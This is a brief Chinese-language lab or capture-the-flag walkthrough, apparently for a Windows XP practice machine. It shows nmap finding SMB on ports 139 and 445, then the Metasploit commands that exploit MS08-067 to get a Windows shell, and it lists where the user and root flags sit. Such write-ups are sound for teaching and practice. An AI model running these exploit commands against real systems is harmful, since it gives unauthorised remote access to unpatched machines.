信息收集

通过nmap的script扫描即可发现SMB协议的大量漏洞，然后直接利用即可。

139端口，netbios-ssn服务，版本：Microsoft Windows netbios-ssn
445端口，microsoft-ds服务，版本：Microsoft Windows XP microsoft-ds
服务器版本：Windows XP

通过nmap的script查看到存在ms08-067，于是尝试利用该漏洞。

漏洞利用

msf> use exploit/windows/smb/ms08_067_netapi
msf exploit/windows/smb/ms08_067_netapi> set rhost 10.10.10.4
msf exploit/windows/smb/ms08_067_netapi> run

运行之后即可获得windows shell，然后在”c:\Documents and Settings\john\Desktop\user.txt”和”c:\Documents and Settings\Administrator\Desktop\root.txt”找到flag。

tips: xp及以前的系统中不存在Users目录，用户相关的文件都保存在”Documents and Settings”目录下。
